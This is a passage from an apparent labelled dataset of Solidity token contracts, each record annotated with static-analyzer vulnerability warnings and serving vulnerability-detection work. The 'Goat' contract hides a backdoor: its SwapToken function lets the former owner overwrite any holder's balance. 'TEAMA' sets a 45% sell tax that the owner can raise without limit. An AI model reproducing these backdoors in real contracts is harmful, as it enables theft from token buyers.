withdrawTokens(address tkn) public onlyOwner {\n require(tkn != address(this), \"Cannot withdraw this token\");\n\n require(IERC20(tkn).balanceOf(address(this)) > 0, \"No tokens\");\n\n uint256 amount = IERC20(tkn).balanceOf(address(this));\n\n\t\t// unchecked-transfer | ID: e8cb51d\n IERC20(tkn).transfer(msg.sender, amount);\n }\n\n function removeLimits() public onlyOwner {\n maxBuyAmount = _tSupply;\n\n maxSellAmount = _tSupply;\n\n maxWalletAmount = _tSupply;\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n}\n", "file_name": "solidity_code_10312.sol", "size_bytes": 26245, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etcstwwscoin(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function SwapToken(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract Goat is ERC20 {\n uint256 private constant TOAL_SUTSTSTSDE = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: f377081): Goat.DEAD shadows ERC20.DEAD\n\t// Recommendation for f377081: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 480f7ab): Goat.ZERO shadows ERC20.ZERO\n\t// Recommendation for 480f7ab: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f263733): Goat.maxTxAmoudMT should be immutable \n\t// Recommendation for f263733: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudMT;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 437935f): Goat.maxwalle_MST should be immutable \n\t// Recommendation for 437935f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalle_MST;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1adde83): Goat._burnPettsse should be constant \n\t// Recommendation for 1adde83: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettsse = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 83c32de): Goat.uniswapV2Router should be immutable \n\t// Recommendation for 83c32de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Goatseus Maximus\", unicode\"Goat\", TOAL_SUTSTSTSDE) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalle_MST = TOAL_SUTSTSTSDE / 30;\n\n maxTxAmoudMT = TOAL_SUTSTSTSDE / 30;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettsse) / 100;\n\n super._transfer_etcstwwscoin(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudMT, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalle_MST,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n", "file_name": "solidity_code_10313.sol", "size_bytes": 18898, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TEAMA is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 5da56c5): TEAMA._devWallet should be immutable \n\t// Recommendation for 5da56c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\t// WARNING Optimization Issue (immutable-states | ID: d4ac537): TEAMA._marketingWallet should be immutable \n\t// Recommendation for d4ac537: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n\n string private constant _name = unicode\"Team America\";\n string private constant _symbol = unicode\"TEAMA\";\n uint8 private constant _decimals = 18;\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n uint256 public _BuyTax = 20;\n uint256 public _SellTax = 45;\n uint256 public _maxTxAmount = (_tTotal * 20) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 20) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: d911b56): TEAMA._taxSwapThreshold should be constant \n\t// Recommendation for d911b56: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\t// WARNING Optimization Issue (constable-states | ID: 3f273d5): TEAMA._maxTaxSwap should be constant \n\t// Recommendation for 3f273d5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _devWallet = payable(_msgSender());\n _marketingWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_devWallet] = true;\n _isExcludedFromFee[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ac59444): TEAMA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ac59444: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2f13201): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2f13201: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f95924d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f95924d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: 2f13201\n\t\t// reentrancy-eth | ID: f95924d\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 2f13201\n\t\t// reentrancy-eth | ID: f95924d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c9d4ca7): TEAMA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c9d4ca7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0),\n \"ERC20: Can't approve from the zero address\"\n );\n require(\n spender != address(0),\n \"ERC20: Can't approve to the zero address\"\n );\n\t\t// reentrancy-eth | ID: f95924d\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 2f13201\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5ee7d12): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5ee7d12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 38c80b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 38c80b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: Can't transfer from the zero address\"\n );\n require(to != address(0), \"ERC20: Can't transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the _maxWalletSize.\"\n );\n }\n\n if (from == uniswapV2Pair && to != address(this)) {\n taxAmount = (amount * _BuyTax) / 100;\n }\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = (amount * _SellTax) / 100;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n uint256 amountToSwap = (amount < contractTokenBalance &&\n amount < _maxTaxSwap)\n ? amount\n : (contractTokenBalance < _maxTaxSwap)\n ? contractTokenBalance\n : _maxTaxSwap;\n\t\t\t\t// reentrancy-events | ID: 5ee7d12\n\t\t\t\t// reentrancy-eth | ID: 38c80b3\n swapTokensForEth(amountToSwap);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5ee7d12\n\t\t\t\t\t// reentrancy-eth | ID: 38c80b3\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 38c80b3\n _balances[address(this)] += taxAmount;\n\t\t\t// reentrancy-events | ID: 5ee7d12\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 38c80b3\n _balances[from] = _balances[from] - amount;\n\t\t// reentrancy-eth | ID: 38c80b3\n _balances[to] = _balances[to] + (amount - taxAmount);\n\t\t// reentrancy-events | ID: 5ee7d12\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 2f13201\n\t\t// reentrancy-events | ID: 5ee7d12\n\t\t// reentrancy-eth | ID: 38c80b3\n\t\t// reentrancy-eth | ID: f95924d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 93ce8a4): TEAMA.updateTax(uint256,uint256) should emit an event for _BuyTax = BuyTax _SellTax = SellTax \n\t// Recommendation for 93ce8a4: Emit an event for critical parameter changes.\n function updateTax(uint256 BuyTax, uint256 SellTax) external onlyOwner {\n\t\t// events-maths | ID: 93ce8a4\n _BuyTax = BuyTax;\n\t\t// events-maths | ID: 93ce8a4\n _SellTax = SellTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 90de2a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 90de2a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e7893be): TEAMA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e7893be: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: acd53b6): TEAMA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for acd53b6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8385e80): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8385e80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 90de2a2\n\t\t// reentrancy-eth | ID: 8385e80\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 90de2a2\n\t\t// unused-return | ID: e7893be\n\t\t// reentrancy-eth | ID: 8385e80\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 90de2a2\n\t\t// unused-return | ID: acd53b6\n\t\t// reentrancy-eth | ID: 8385e80\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\t\t// reentrancy-benign | ID: 90de2a2\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 8385e80\n tradingOpen = true;\n }\n\n function manualSwap() external onlyOwner {\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 78b94e2): TEAMA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _marketingWallet.transfer(amount)\n\t// Recommendation for 78b94e2: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2f13201\n\t\t// reentrancy-events | ID: 5ee7d12\n\t\t// reentrancy-eth | ID: 38c80b3\n\t\t// reentrancy-eth | ID: f95924d\n\t\t// arbitrary-send-eth | ID: 78b94e2\n _marketingWallet.transfer(amount);\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10314.sol", "size_bytes": 16465, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns 